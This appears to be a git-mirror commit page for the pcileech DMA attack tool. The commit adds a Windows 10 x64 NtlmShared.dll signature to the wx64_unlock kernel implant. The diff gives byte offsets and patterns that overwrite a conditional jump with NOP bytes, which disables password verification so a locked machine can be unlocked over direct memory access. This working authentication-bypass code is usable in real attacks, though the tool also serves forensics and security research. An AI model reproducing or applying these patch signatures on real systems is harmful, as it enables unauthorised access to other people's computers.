lywsvip/pcileech
1
0
Fork 0
mirror of https://github.com/ufrisk/pcileech.git synced 2026-06-08 02:18:23 +08:00
Code Issues Packages Projects Releases Wiki Activity

implant: add unlock signature [wx64_unlock]

Browse Source
This commit is contained in:
ufrisk
2016-08-15 23:16:31 +02:00
parent 44fb51c899
commit c996dc1bca
2 changed files with 6 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

7
pcileech_shellcode/wx64_unlock.c
View File

@@ -129,7 +129,7 @@ NTSTATUS Unlock_FindAndPatch(_In_ PKERNEL_FUNCTIONS2 fnk2, _Inout_ PBYTE pbPages
return E_FAIL;
}
#define NUMBER_OF_SIGNATURES 5
#define NUMBER_OF_SIGNATURES 6
NTSTATUS Unlock(_In_ QWORD qwAddrNtosBase)
{
SIGNATURE oSigs[NUMBER_OF_SIGNATURES] = {
@@ -157,6 +157,11 @@ NTSTATUS Unlock(_In_ QWORD qwAddrNtosBase)
{ .cbOffset = 0x62f,.cb = 4,.pb = { 0xff, 0x15, 0xb3, 0x1b } },
{ .cbOffset = 0x638,.cb = 4,.pb = { 0x0f, 0x85, 0x18, 0xfb } },
{ .cbOffset = 0x638,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }
},
{ .chunk = { // win10x64 NtlmShared.dll (2016-07-16::10.0.14393.0)
{ .cbOffset = 0x6df,.cb = 4,.pb = { 0xff, 0x15, 0xd3, 0x1b } },
{ .cbOffset = 0x6e8,.cb = 4,.pb = { 0x0f, 0x85, 0x18, 0xfb } },
{ .cbOffset = 0x6e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }
}
};
KERNEL_FUNCTIONS2 fnk2;